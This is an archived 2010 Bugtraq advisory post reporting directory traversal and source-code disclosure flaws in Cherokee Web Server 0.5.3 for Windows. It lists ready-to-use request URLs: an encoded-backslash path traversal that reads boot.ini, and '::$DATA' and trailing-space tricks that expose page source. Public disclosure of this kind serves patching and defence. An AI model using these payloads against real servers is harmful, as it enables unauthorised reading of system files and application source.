bugtraq - Cherokee Web Server 0.5.3 Multiple Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 12 Jun 2010 14:56:42 -0000
From: info@...uritylab.ir
To: bugtraq@...urityfocus.com
Subject: Cherokee Web Server 0.5.3 Multiple Vulnerabilities

#################################################################  
# Securitylab.ir  
#################################################################  
# Application Info:  
# Name: Cherokee Web Server
# Version: 0.5.3
# Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
#################################################################  
[Directory Traversal]:
http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

[Remote Source Disclosure]:
http://127.0.0.1:80/file.html::$DATA

http://127.0.0.1/index.htm%20 
#################################################################  
# Discoverd By: Pouya Daneshmand  
# Website: http://Pouya.info
# Contacts: info[at]securitylab.ir & info@...ya[Dot]info
###################################################################